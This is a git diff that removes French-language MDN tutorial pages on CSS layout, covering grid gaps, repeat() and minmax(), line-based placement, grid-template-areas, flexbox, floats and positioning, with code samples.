Pour créer des « gouttières » entre chaînes et trames, nous nous servons des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}} pour, respectivement, les espacements entre colonnes et entre lignes ; la propriété {{cssxref("grid-gap")}} définit les deux d'un coup.

- -
.container {
-    display: grid;
-    grid-template-columns: 2fr 1fr 1fr;
-    grid-gap: 20px;
-}
- -

Ces espacements peuvent être définis avec n'importe quelle unité de longueur ou un pourcentage, mais pas avec l'unité fr.

- -
- -
- -

{{ EmbedLiveSample('Grid_3', '100%', 400) }}

- -
-

Note : Les propriétés *gap étaient traditionnellement préfixées par grid-, mais la norme a été modifiée avec l'intention de la rendre utilisable dans les diverses méthodes de mise en page. Actuellement, Edge et Firefox prennent en charge la version non préfixée ; les versions préfixées seront maintenues en tant qu'alias, de sorte qu'elles seront utilisables en toute sécurité pendant un certain temps. En appliquant le principe de précaution, vous pouvez doubler et mettre les deux types de propriétés pour « blinder » votre code.

-
- -
.container {
-  display: grid;
-  grid-template-columns: 2fr 1fr 1fr;
-  grid-gap: 20px;
-  gap: 20px;
-}
- -

Répétition des listes de pistes

- -

Vous pouvez répéter tout ou partie d'une liste de chaînes à l'aide d'une notation adaptée. Modifiez la liste des chaînes ainsi :

- -
.container {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-gap: 20px;
-}
- -

Nous obtenons 3 chaînes de 1fr de large, comme précédemment. La première valeur passée à la fonction repeat est le nombre de répétitions de la liste, définie par le paramètre suivant : celui-ci peut être une ou plusieurs chaînes que vous voulez répéter.

- -

Trame implicite et explicite

- -

Nous n'avons jusqu'à présent défini que des  chaînes en colonnes, mais on peut aussi les créer en lignes pour recevoir les contenus. C'est un exemple de trame explicite (la chaîne) vs. implicite (la trame). La chaîne explicite est celle créée avec grid-template-columns ou grid-template-rows. La trame implicite est créée lorsque l'on met du contenu dans ce quadrillage — comme dans les rangées de nos exemples. La cahîne explicite et la trame  implicite sont analogues aux axes principal et croisé de Flexbox.

- -

Par défaut, les rangées de la trame implicite sont auto dimensionnées, ce qui signifie qu'elles sont, en général, suffisamment grandes pour accueillir le contenu. Si vous voulez que les rangées de trame créées par le navigateur aient une taille donnée, utilisez les propriétés  {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}. Si vous ajoutez la propriété grid-auto-rows avec une valeur de 100px dans la CSS, vous verrez que le rangées créées ont maintenant 100 pixels de haut.

- -
- - -
.container {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 100px;
-  grid-gap: 20px;
-}
-
- -

{{ EmbedLiveSample('Grid_4', '100%', 400) }}

- -

La fonction minmax()

- -

Les rangées de trame de 100 pixels de haut ne seront pas très utiles si nous y plaçons des contenus de plus de 100 pixels de haut : il y aurait alors débordement. Il est préférable d'avoir des pistes d'au moins 100 pixels de haut, mais susceptibles de s'agrandir si le contenu déposé le nécessite. C'est un constat classique à propos du web : vous ne savez jamais vraiment quelle sera la hauteur d'un élément ; du contenu supplémentaire ou des tailles de police plus grandes peuvent amener des problèmes avec des designs en pixels visant la perfection dans toute dimension.

- -

La fonction minmax nous permet de fixer une taille maximale et minimale pour une trame, par exemple minmax(100px, auto). La taille minimale est de 100 px, mais la maximale est auto — elle  s'agrandira selon le contenu. Changeons grid-auto-rows en utilisant une valeur minmax :

- -
.container {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-auto-rows: minmax(100px, auto);
-    grid-gap: 20px;
-}
- -

Si vous ajoutez du contenu supplémentaire, vous verrez que la trame grandit pour permettre l'incorporation. Notez que l'agrandissement est général pour toute la rangée.

- -

Autant de chaînes que possibles

- -

Il est possible de combiner nos savoirs à propos des listes de pistes, la notation repeat et minmax() pour créer un modèle utile. Parfois, demander à ce que la génèration automatique crée autant de chaînes que possibles dans un conteneur nous faciliterait la tâche. Pour réaliser cela, définissez la valeur de grid-template-columns égale à repeat() avec le mot-clé auto-fill comme premier paramètre au lieu d'un nombre. Pour le second paramètre de la fonction, utilisez minmax() avec pour minimum la taille souhaitée pour la piste et 1fr pour maximum.

- -

Essayez ceci dans le fichier avec la CSS ci-dessous :

- -
- - -
.container {
-  display: grid;
-  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
-  grid-auto-rows: minmax(100px, auto);
-  grid-gap: 20px;
-}
-
- -

{{ EmbedLiveSample('Grid_5', '100%', 400) }}

- -

Il a été créé autant de chaînes de 200 pixels qu'il y a de place dans le conteneur, puis l'espace restant a été partagé entre toutes les colonnes — le maximum de 1fr répartit, comme nous le savons déjà, l'espace de façon égale entre rangées.

- -

Placement sur les lignes

- -

Nous passons maintenant de la création du quadrillage à la mise en place des choses sur dans celui-ci. Le quadrillage a toujours des fils de chaîne, ils commencent à 1 et sont en  relation avec le Writing Mode (mode d'écriture) du document. Ainsi, en anglais, la rangée de la chaîne 1 sera une colonne et se trouvera à gauche du quadrillage et la rangée de la trame sera une ligne 1 en haut. En arabe, la rangée de la chaîne 1 se situera du côté droit, car l'arabe s'écrit de droite à gauche.

- -

Nous pouvons placer les choses dans ces rangées en indiquant les rangées de début et de fin. Pour ce faire, nous utilisons les propriétés suivantes :

- - - -

Ces propriétés acceptent toutes un numéro de ligne comme valeur. Vous pouvez également utiliser les formes abrégées de ces propriétés :

- - - -

Cela vous permet de définir les rangées de départ et de fin simultanément, en les séparant avec un / — une barre inclinée.

- -

Pour débuter, téléchargez ce fichier. Il comporte déjà une définition de quadrillage et un seul article. Constatez que le placement automatique met les éléments dans chaque cellule du quadrillage créé.

- -

À la place, nous allons mettre la totalité des éléments du site sur le quadrillage en utilisant les rangées de la chaîne (les colonnes dans notre cas). Ajoutez les règles ci-après à la fin de la CSS :

- -
header {
-  grid-column: 1 / 3;
-  grid-row: 1;
-}
-
-article {
-  grid-column: 2;
-  grid-row: 2;
-}
-
-aside {
-  grid-column: 1;
-  grid-row: 2;
-}
-
-footer {
-  grid-column: 1 / 3;
-  grid-row: 3;
-}
- -
- -
- -

{{ EmbedLiveSample('Grid_6', '100%', 400) }}

- -
-

Note : vous pouvez aussi utiliser la valeur -1 pour cibler la dernière rangée de la chaîne  et compter vers l'intérieur à partir de la fin en utilisant des valeurs négatives. Cependant, cela ne fonctionne que pour la chaîne explicite. La valeur -1 ne ciblera pas le rang de fin de trame implicite.

-
- -

Placer avec « grid-template-areas »

- -

Une autre façon de placer des éléments dans le quadrillage consiste à utiliser la propriété  {{cssxref("grid-template-areas")}} en donnant un nom au divers éléments du design.

- -

Supprimez le placement sur les lignes du dernier exemple (ou bien rechargez le fichier pour avoir un nouveau point de départ) et ajoutez ceci à la CSS.

- -
.container {
-  display: grid;
-  grid-template-areas:
-      "header header"
-      "sidebar content"
-      "footer footer";
-  grid-template-columns: 1fr 3fr;
-  grid-gap: 20px;
-}
-
-header {
-  grid-area: header;
-}
-
-article {
-  grid-area: content;
-}
-
-aside {
-  grid-area: sidebar;
-}
-
-footer {
-  grid-area: footer;
-}
- -

Actualisez la page et vous verrez que vos éléments ont été placés comme la fois précédente sans que nous ayons besoin d'utiliser un quelconque numéro de ligne !

- -
- -
- -

{{ EmbedLiveSample('Grid_7', '100%', 400) }}

- -

Les règles pour grid-template-areas sont les suivantes :

- - - -

Vous pouvez jouer avec la disposition, en modifiant le pied de page pour qu'il ne soit placé que sous le contenu et que la barre latérale soit sur toute la hauteur de la page, par exemple. C'est une très belle façon de décrire une disposition, car elle est évidente à la seule lecture de la CSS.

- -

« CSS Grid » : une structure de quadrillage

- -

Les « structures » de quadrillage se fondent sur une série de 12 à 16 rangées ; avec « CSS Grid », vous n'avez pas besoin d'outils tierce partie pour créer la structure — elle est déjà dans les spécifications.

- -

Chargez le fichier de départ. Il contient un conteneur à 12 colonnes et le même balisage que celui utilisé dans les deux exemples précédents. Nous pouvons maintenant utiliser le placement  sur les lignes pour mettre le contenu sur le quadrillage à 12 colonnes.

- -
header {
-  grid-column: 1 / 13;
-  grid-row: 1;
-}
-
-article {
-  grid-column: 4 / 13;
-  grid-row: 2;
-}
-
-aside {
-  grid-column: 1 / 4;
-  grid-row: 2;
-}
-
-footer {
-  grid-column: 1 / 13;
-  grid-row: 3;
-}
- -
- -
- -

{{ EmbedLiveSample('Grid_8', '100%', 400) }}

- -

Si vous utilisez Firefox Grid Inspector (Inspecteur > Mise en page > Grilles) pour superposer les lignes du quadrillage sur le design, vous verrez comment le quadrillage à 12 colonnes fonctionne.

- -

A 12 column grid overlaid on our design.

- -

Résumé

- -

Dans cet aperçu, nous avons parcouru les principales caractéristiques de la mise en page avec les fonctionnalités des « CSS Grid Layout ». Vous devriez pouvoir commencer à l'utiliser dans vos mises en page. Pour en savoir plus sur les spécifications, lisez nos guides sur la disposition en trame ; leurs intitulés sont rappelés ci-dessous.

- -

Voir également

- - - -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}

- - - -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/index.html b/files/fr/apprendre/css/css_layout/index.html deleted file mode 100644 index c8ae618a03..0000000000 --- a/files/fr/apprendre/css/css_layout/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: La mise en page avec le CSS -slug: Apprendre/CSS/CSS_layout -tags: - - CSS - - Débutant - - Floating - - Guide - - Landing - - Layout - - Learn - - Module - - Positionnement - - colonne multiple - - flexbox - - float - - grid -translation_of: Learn/CSS/CSS_layout ---- -
{{LearnSidebar}}
- -

À ce stade, les principes fondamentaux du CSS ont été vus, comment composer le texte et comment styliser et manipuler les boîtes dans lesquelles se trouve votre contenu. Maintenant, il est temps de regarder comment placer vos boîtes au bon endroit dans la vue et par rapport aux autres boîtes. Les prérequis nécessaires examinés, nous pouvons maintenant nous plonger profondément dans la mise en page avec le CSS, en regardant les différents paramètres d'affichage, les outils modernes tels « flexbox », les grilles CSS et le positionnement, ainsi que quelques méthodes traditionnelles qu'il est encore bon de connaître.

- -

Prérequis

- -

Avant de commencer ce module, vous devriez déjà :

- -
    -
  1. connaître les bases du HTML, telles qu'exposées dans le module Introduction au HTML.
    2. -
  2.  être à l'aise avec les fondamentaux du CSS, telles qu'exposés dans Introduction à CSS.
    3. -
  3.  savoir styliser les boîtes.
    4. -
- -
-

Note : Si vous travaillez sur un ordinateur, une tablette ou autre périphérique sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez essayer (la plupart) les exemples de code dans un programme de codage en ligne tel que JSBin ou Thimble

-
- -

Guides

- -

Ces articles fourniront des instructions sur les outils et techniques de mise en page fondamentaux disponibles dans CSS. À la fin des leçons, un exercice vous permettra de vérifier la compréhension des méthodes de mise en page en créant votre propre page web.

- -
-
Introduction à la mise en page CSS
-
Cet article récapitule quelques-unes des fonctionnalités de mise en page CSS que nous avons déjà abordées dans les modules précédents — telles que les diverses valeurs de {{cssxref ("display")}} — et présente certains des concepts que nous couvrirons dans de ce module.
-
Cours normal
-
Les éléments se placent d'eux‑même sur les pages web selon un cours normal — sauf à ce nous fassions quelque chose pour changer cela. Cet article explique les fondamentaux du cours normal pour permettre de comprendre comment le modifier.
-
Flexbox
-
Flexbox est une méthode de mise en page unidimensionnelle pour disposer les éléments en lignes ou en colonnes. Les éléments s'adaptent pour remplir de l'espace supplémentaire et se rétractent pour s'insérer dans des espaces plus petits. Cet article explique tous les fondamentaux.
-
Grilles
-
CSS Grid Layout est un système de mise en page bidimensionnelle pour le web. Il vous permet de disposer le contenu en lignes et en colonnes, et possède de nombreuses fonctionnalités qui simplifient la construction de mises en page complexes. Cet article vous donnera tout ce que vous devez savoir pour commencer avec la mise en page.
-
Flotteurs
-
À l'origine, pour les images flottantes à l'intérieur de blocs de texte, la propriété {{cssxref ("float")}} est devenue l'un des outils les plus couramment utilisés pour créer des mises en page sur plusieurs colonnes sur des pages Web. Avec l'avènement de Flexbox et de Grid, il est maintenant revenu à son objectif initial, comme l'explique cet article.
-
Positionnement
-
Le positionnement vous permet d'extraire des éléments du flux de mise en page normal du document et de les faire se comporter différemment, par exemple en se mettant l'un sur l'autre ou en restant toujours au même endroit dans la fenêtre du navigateur. Cet article indique les différentes valeurs pour {{cssxref ("position")}} et comment les utiliser.
-
Disposition sur plusieurs colonnes
-
L'indication d'une disposition sur plusieurs colonnes vous permet de placer le contenu en colonnes, comme vous pouvez le voir sur un journal. Cet article explique comme utiliser cette fonctionnalité.
-
Méthodes de mise en page traditionnelles
-
Les systèmes de grilles sont une fonctionnalité très courante pour les mises en page avec les CSS. Avant la mise en œuvre de « CSS Grid Layout », celle‑ci s'opérait avec des flotteurs ou autres dispositions. Imaginez la mise en page comme un ensemble de colonnes (par ex. 4, 6 ou 12), puis disposez les colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous exposerons comment ces méthodes plus anciennes fonctionnent, afin que vous compreniez comment elles étaient utilisées si vous travaillez sur un projet ancien.
-
Prise en charge des navigateurs plus anciens
-
-

Dans ce module, nous vous recommandons d'utiliser Flexbox et Grid comme principales méthodes de mise en page pour votre design. Cependant, il y aura des visiteurs de votre site utilisant des navigateurs plus anciens ou des navigateurs ne prenant pas en charge les méthodes que vous avez utilisées. Ce sera toujours le cas sur le web — au fur et à mesure du développement de nouvelles fonctionnalités, les priorités données varieront. Cet article explique comment utiliser les techniques modernes du web sans exclure les utilisateurs des anciennes.

-
-
Compréhension des fondamentaux de la mise en page
-
Une évaluation pour tester vos connaissances des différentes méthodes de mise en page Web.
-
- -

Voir aussi

- -
-
Exemples pratiques de positionnement
-
 Cet article montre comment construire quelques exemples réalistes pour illustrer les possibilités du positionnement.
-
diff --git a/files/fr/apprendre/css/css_layout/introduction/index.html b/files/fr/apprendre/css/css_layout/introduction/index.html deleted file mode 100644 index c8ffefec6c..0000000000 --- a/files/fr/apprendre/css/css_layout/introduction/index.html +++ /dev/null @@ -1,716 +0,0 @@ ---- -title: Introduction à la mise en page en CSS -slug: Apprendre/CSS/CSS_layout/Introduction -tags: - - Apprendre - - Article - - Boîtes flexibles - - CSS - - Débutant - - Flottants - - Flux - - Grille - - Intro - - Mise en page - - Positionnement - - Tableaux -translation_of: Learn/CSS/CSS_layout/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout")}}
- -

Cet article récapitule quelques fonctionnalités de mise en page CSS que l'on a déjà côtoyées dans les modules précédents — telles que les différentes valeurs de {{cssxref("display")}} — et en introduit de nouveaux que nous aborderons dans ce module.

- - - - - - - - - - - - -
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS).
Objectif :Vous donner un aperçu des techniques de mise en page des CSS. Chaque technique peut être apprise plus précisément dans des tutoriels dédiés.
- -

Les techniques de mise en page des CSS nous permettent de prendre des éléments contenus dans une page web et d'en contrôler le placement par rapport à leur position par défaut dans le flot d'une mise en page courante, aux autres éléments environnants, à leur conteneur parents ou à la fenêtre principale d'affichage. Les techniques de mises en page abordées en détail dans ce module sont:

- - - -

Chaque technique à ses usages, ses avantages et ses inconvénients. Aucune technique n'a été conçue pour être utilisée isolément. En comprenant ce pourquoi chaque méthode a été conçue, vous saurez utiliser le meilleur outil de mise en page dans chaque situation.

- -

Cours normal

- -

Le cours normal est la manière dont le navigateur présente les pages HTML par défaut quand vous ne faites rien pour contrôler la mise en page. Regardons rapidement un exemple HTML:

- -
<p>J'aime mon chat.</p>
-
-<ul>
-  <li>Acheter des croquettes</li>
-  <li>Exercice</li>
-  <li>Haut les cœurs, ami</li>
-</ul>
-
-<p>La fin !</p>
- -

Par défaut, le navigateur affichera ce code ainsi :

- -

{{ EmbedLiveSample('Cours_normal', '100%', 200) }}

- -

Notez que le HTML est affiché dans l'ordre exact où il est dans le code source : les éléments s'empilent les uns sur les autres — le premier paragraphe, puis la liste non ordonnée suivie par le second paragraphe.

- -

Les éléments disposés en empilement sont désignés comme étant des éléments blocs, par opposition aux éléments en ligne qui apparaissent l'un après l'autre telle la succession de mots distincts d'un paragraphe.

- -
-

Note: « Block Direction » (Sens d'empilement) définit le sens dans lequel les éléments blocs sont disposés. Le sens d'empilement est vertical pour une langue comme l'anglais dont le mode d'écriture est horizontal. Ce sens sera horizontal pour toute langue avec un mode d'écriture vertical, comme le japonais. La « Inline Direction » (sens d'écriture) correspond à celle dont les contenus en ligne (comme une phrase) sont disposés.

-
- -

Lorsque vous utilisez les CSS pour faire une mise en page, vous déplacez les éléments de leur cours normal ; toutefois, pour la plupart des éléments de la page, ce cours normal crée exactement la mise en page dont vous avez besoin. C'est pourquoi il est si important de commencer avec un document HTML bien structuré, car vous pouvez alors travailler la façon dont les choses seront disposées par défaut au lieu de lutter contre cette disposition.

- -

Les méthodes des CSS pouvant changer le placement des éléments sont les suivantes :

- - - -

La propriété « display »

- -

Les principales modalités de mise en page avec les CSS relèvent toutes des valeurs de la propriété display. Cette propriété permet de modifier l'affichage par défaut des éléments. Chaque chose dans le cours normal a une valeur de propriété display. Les éléments se règlent sur cette valeur pour définir leur comportement par défaut. Par exemple, le fait que des paragraphes en langue anglaise se placent les uns au dessus des autres provient du fait que leur style est display: block. Si vous créez un lien sur un texte à l'intérieur d'un paragraphe, ce lien reste aligné avec le reste du texte et ne s'affiche pas sur une nouvelle ligne. C'est parce que l'élément {{htmlelement("a")}} est display: inline par défaut.

- -

Vous pouvez modifier le comportement d'affichage par défaut. Par exemple, l'élément {{htmlelement("li")}} est display: block par défaut, ce qui signifie que les éléments de la liste s'afficheront l'un sous l'autre dans un document en anglais. Si nous changeons la valeur de display pour inline, ils s'afficheront alors les uns à côté des autres, comme les mots dans une phrase. Le fait que vous puissiez changer la valeur d'affichage de n'importe quel élément signifie que vous pouvez choisir des éléments HTML pour leur signification sémantique, sans vous soucier de leur apparence. Leur apparence est quelque chose que vous pouvez modifier.

- -

En plus de pouvoir changer la présentation par défaut en faisant passer un élément de block à inline et vice versa, il existe des méthodes de mise en page accrues commençant avec une valeur particulière de display. Cependant, si vous les utilisez, vous devrez généralement invoquer des propriétés supplémentaires. Les deux valeurs les plus importantes pour notre discussion sur la mise en page sont display: flex et display: grid.

- -

Flexbox

- -

Flexbox est l'abréviation pour Flexible Box Layout Module (Mise en page de boîtes modulaires), conçu pour faciliter une disposition alignée sur une dimension — soit en ligne, soit en colonne. Pour utiliser flexbox, appliquez display: flex à l'élément parent des éléments à placer ; tous ses enfants directs deviennent alors des éléments flex. Voyons cela avec un simple exemple.

- -

Le balisage HTML ci-dessous crée un élément conteneur de la classe wrapper, dans lequel nous plaçons 3 éléments {{htmlelement("div")}}. Par défaut ces éléments s'afficheront en tant qu'éléments blocs, les uns sous les autres, dans ce document en langue française.

- -

Mais nous ajoutons display: flex sur le parent ; les trois éléments se placent maintenant côte à côte. Cela provient du fait qu'ils sont devenus des éléments flex et qu'ils utilisent les valeurs initiales données par flexbox. Ils sont disposés alignés, car la valeur initiale de {{cssxref("flex-direction")}} est row. Ils apparaissent serrés au haut de l'élément le plus haut, car la valeur initiale de la propriété {{cssxref("align-items")}} est stretch. Ce qui signifie que les éléments se casent dans la hauteur du conteneur flex défini dans ce cas par l'élément le plus grand. Les éléments s'alignent à partir de l'origine du conteneur à la fin sans laisser d'espace.

- -
- - -
.wrapper {
-  display: flex;
-}
-
- -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-</div>
-
-
- -

{{ EmbedLiveSample('Flex_1', '300', '200') }}

- -

En plus des propriétés ci-dessus applicables au conteneur flex, il existe des propriétés applicables aux éléments flex. Ces propriétés, entre autres choses, peuvent changer le mode d'adaptation des éléments, leur permettant de s'étaler et de se resserrer pour s'adapter à l'espace disponible.

- -

À titre d'exemple, nous pouvons donner la valeur 1 à la propriété {{cssxref("flex")}} des éléments enfants. Tous les éléments vont grandir jusqu'à remplir le conteneur, au lieu de laisser de l'espace à la suite. S'il y a assez d'espace, les éléments vont devenir plus larges ; s'il y en a moins ils vont devenir plus étroits. En outre, si vous ajoutez un autre élément au balisage, les éléments vont rapetisser pour lui faire de la place — ils ajusteront leur taille pour prendre la même quantité d'espace, quel qu'il soit.

- -
- - -
.wrapper {
-    display: flex;
-}
-
-.wrapper > div {
-    flex: 1;
-}
-
- -
<div class="wrapper">
-    <div class="box1">Un</div>
-    <div class="box2">Deux</div>
-    <div class="box3">Trois</div>
-</div>
-
-
- -

{{ EmbedLiveSample('Flex_2', '300', '200') }}

- -
-

Note : Ce n'est qu'une très brève introduction aux possibilités de Flexbox : pour en apprendre plus, voyez notre article sur Flexbox.

-
- -

Disposition en trame

- -

Alors que « flexbox » est conçu pour une disposition unidimensionnelle, « Grid Layout » (Disposition tramée) est bidimensionnel — il place les choses en rangées et colonnes.

- -

À nouveau, vous basculez en disposition tramée en donnant une valeur appropriée à display — display: grid. L'exemple ci-dessous utilise un balisage semblable à celui de l'exemple flex : un conteneur et quelques éléments enfants. Outre display: grid, nous définissons une trame de placement sur le parent avec les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}. Nous avons défini trois colonnes de 1fr chacune et deux lignes de 100px. Il n'est pas nécessaire de mettre de règles sur les éléments enfants ; il seront automatiquement placés dans les cellules de trame créées.

- -
- - -
.wrapper {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
-    grid-template-rows: 100px 100px;
-    grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-    <div class="box1">Un</div>
-    <div class="box2">Deux</div>
-    <div class="box3">Trois</div>
-    <div class="box4">Quatre</div>
-    <div class="box5">Cinq</div>
-    <div class="box6">Six</div>
-</div>
-
-
- -

{{ EmbedLiveSample('Grid_1', '300', '330') }}

- -

Une fois la trame créée, vous pouvez y placer explicitement les éléments au lieu de compter sur le placement automatique. Dans ce second exemple ci‑dessous nous avons défini la même trame, mais cette fois avec trois éléments enfants. Nous avons défini début et fin de ligne pour chaque élément avec les propriétés {{cssxref("grid-column")}} et {{cssxref("grid-row")}}. Les éléments occupent alors plusieurs trames.

- -
- - -
.wrapper {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
-    grid-template-rows: 100px 100px;
-    grid-gap: 10px;
-}
-
-.box1 {
-    grid-column: 2 / 4;
-    grid-row: 1;
-}
-
-.box2 {
-    grid-column: 1;
-    grid-row: 1 / 3;
-}
-
-.box3 {
-    grid-row: 2;
-    grid-column: 3;
-}
-
- -
<div class="wrapper">
-    <div class="box1">Un</div>
-    <div class="box2">Deux</div>
-    <div class="box3">Trois</div>
-</div>
-
-
- -

{{ EmbedLiveSample('Grid_2', '300', '330') }}

- -
-

Note : Ces deux exemples ne sont qu'une petite partie de la puissance des dispositions tramées ; pour en savoir plus, voyez l'article Disposition tramée.

-
- -

La suite de ce guide porte sur d'autres méthodes de mise en page. Elles ont moins d'importance pour la structure générale de la mise en page, mais peuvent tout de même vous aider à réaliser des tâches spécifiques. En comprenant la nature de chaque tâche de mise en page, vous découvrez rapidement, en regardant un composant particulier de votre design, que le type de mise en page le plus adapté est souvent évident.

- -

Flotteurs (boîtes flottantes)

- -

Faire flotter un élément change son comportement ainsi que celui de l'élément qui le suit dans le cours normal. L'élément est déplacé à gauche ou à droite. Il est sorti du cours normal. Le contenu environnant l'enveloppe comme si l'élément flottait dans ce contenu.

- -

La propriété {{cssxref("float")}} a quatre valeurs possibles :

- - - -

Dans l'exemple ci‑dessous nous faisons flotter un élément <div> à gauche avec un valeur pour la propriété {{cssxref("margin")}} sur la droite pour éloigner le texte de l'élément. Cela donne un effet de texte enveloppant cette boîte. C'est l'essentiel de ce qu'il faut savoir à propos des boîtes flottantes dans le design du web moderne.

- -
- - -
<h1>Exemple simple de boîte flottante</h1>
-
-<div class="box">Boîte flottante</div>
-
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-
- -
-.box {
-    float: left;
-    width: 150px;
-    height: 150px;
-    margin-right: 30px;
-}
-
-
- -

{{ EmbedLiveSample('Float_1', '100%', 600) }}

- -
-

Note : Les boîtes flottantes sont précisément expliquées dans la leçon à propos des propriétés float et clear. Précédant les techniques telles que Flexbox et les trames, les boîtes flottantes étaient utilisées comme méthode pour créer des dispositions en colonnes. Vous rencontrerez peut‑être encore ce méthodes sur le Web ; nous les expliciterons dans la leçon sur les Méthodes de mise en page traditionnelles.

-
- -

Techniques de positionnement

- -

Le positionnement permet de déplacer un élément de l'endroit où il serait placé dans le cours normal vers un autre endroit. Le positionnement n'est pas une méthode pour créer des mises en page principales, il s'agit plutôt de gérer et d'affiner la position d'éléments donnés sur la page.

- -

Il existe cependant des techniques utiles pour certains modes de positionnement se fondant sur la propriété {{cssxref("position")}}. Comprendre le positionnement aide aussi à comprendre le cours normal et le fait de déplacer un objet hors du cours normal.

- -

Il y a cinq types de positionnement à connaître :

- - - -

Exemple simple de positionnement

- -

Afin de se familiariser avec ces techniques de mises en page, nous allons vous montrer quelques exemples. Nos exemples utiliserons tous le même code HTML, qui est celui-ci:

- -
<h1>Positionnement</h1>
-
-<p>Je suis un élément de niveau bloc de base.</p>
-<p class="positioned">Je suis un élément de niveau bloc de base.</p>
-<p>Je suis un élément de niveau bloc de base.</p>
- -

Ce code HTML sera stylisé par défaut en utilisant la CSS suivante :

- -
body {
-  width: 500px;
-  margin: 0 auto;
-}
-
-p {
-    background-color: rgb(207,232,220);
-    border: 2px solid rgb(79,185,227);
-    padding: 10px;
-    margin: 10px;
-    border-radius: 5px;
-}
-
- -

Le rendu est le suivant:

- -

{{ EmbedLiveSample('Exemple_simple_de_positionnement', '100%', 300) }}

- -

Positionnement relatif

- -

Le positionnement relatif vous permet de décaler un élément de la position qu'il occuperait par défaut dans le cours normal de la mise en page. Ce positionnement permet de déplacer légèrement une icône pour l'aligner avec une étiquette de texte. Pour faire cette opération, nous ajoutons la règle suivante pour réaliser le positionnement relatif :

- -
.positioned {
-  position: relative;
-  top: 30px;
-  left: 30px;
-}
- -

Ici, nous donnons au paragraphe médian à la propriété  {{cssxref("position")}} la valeur relative — ce qui ne fait rien en soi, alors nous ajoutons également les propriétés {{cssxref("top")}} et {{cssxref("left")}}. Elles servent à déplacer l'élément en question vers le bas et à droite — cela pourrait sembler être l'opposé de ce à quoi vous vous attendiez, mais représentez-vous l'élément comme poussé à partir de ses côtés gauche et haut : il en résulte un déplacement vers la droite et vers le bas.

- -

Ajouter ce code donne le résultat suivant :

- -
- - -
.positioned {
-  position: relative;
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
-  top: 30px;
-  left: 30px;
-}
-
- -

{{ EmbedLiveSample('Relative_1', '100%', 300) }}

- -

Positionnement absolu

- -

Le positionnement absolu s'utilise pour sortir totalement un élément du cours normal de la mise en page et le placer selon son décalage par rapport à un bloc conteneur.

- -

En revenant à l'exemple sans positionnement, nous pourrions ajouter la règle CSS suivante pour implémenter un positionnement absolu :

- -
.positioned {
-  position: absolute;
-  top: 30px;
-  left: 30px;
-}
- -

Ici pour notre paragraphe médian, nous donnons à la propriété {{cssxref("position")}} la valeur absolute et les mêmes valeurs aux propriétés {{cssxref("top")}} et {{cssxref("left")}} que précédemment. Ajouter ce code, cependant, donnera le résultat suivant :

- -
- - -
.positioned {
-  position: absolute;
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
-  top: 30px;
-  left: 30px;
-}
-
- -

{{ EmbedLiveSample('Absolute_1', '100%', 300) }}

- -

C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le positionnement.

- -

Positionnement fixé

- -

Le positionnement fixé sort l'élément du cours normal de la même façon que le positionnement absolu. Toutefois, les décalages ne sont plus relatifs au conteneur, mais à la vue. L'élément étant fixé par rapport à la vue, nous pourrons créer des effets comme celui d'un menu restant fixé au haut de la fenêtre alors que la page défile sous lui.

- -

Pour cet exemple, l'HTML est constitué de trois paragraphes de texte, de façon à pouvoir les faire défiler, et d'une boîte à laquelle nous avons donné la propriété position: fixed.

- -
<h1>Positionnement fixé</h1>
-
-<div class="positioned">Fixé</div>
-
-<p>Paragraphe 1.</p>
-<p>Paragraphe 2.</p>
-<p>Paragraphe 3.</p>
-
- -
- - -
.positioned {
-    position: fixed;
-    top: 30px;
-    left: 30px;
-}
-
- -

{{ EmbedLiveSample('Fixed_1', '100%', 200) }}

- -

Positionnement collant

- -

Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété position: sticky, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si position: fixed lui était appliqué.

- -
- - -
.positioned {
-  position: sticky;
-  top: 30px;
-  left: 30px;
-}
-
- -

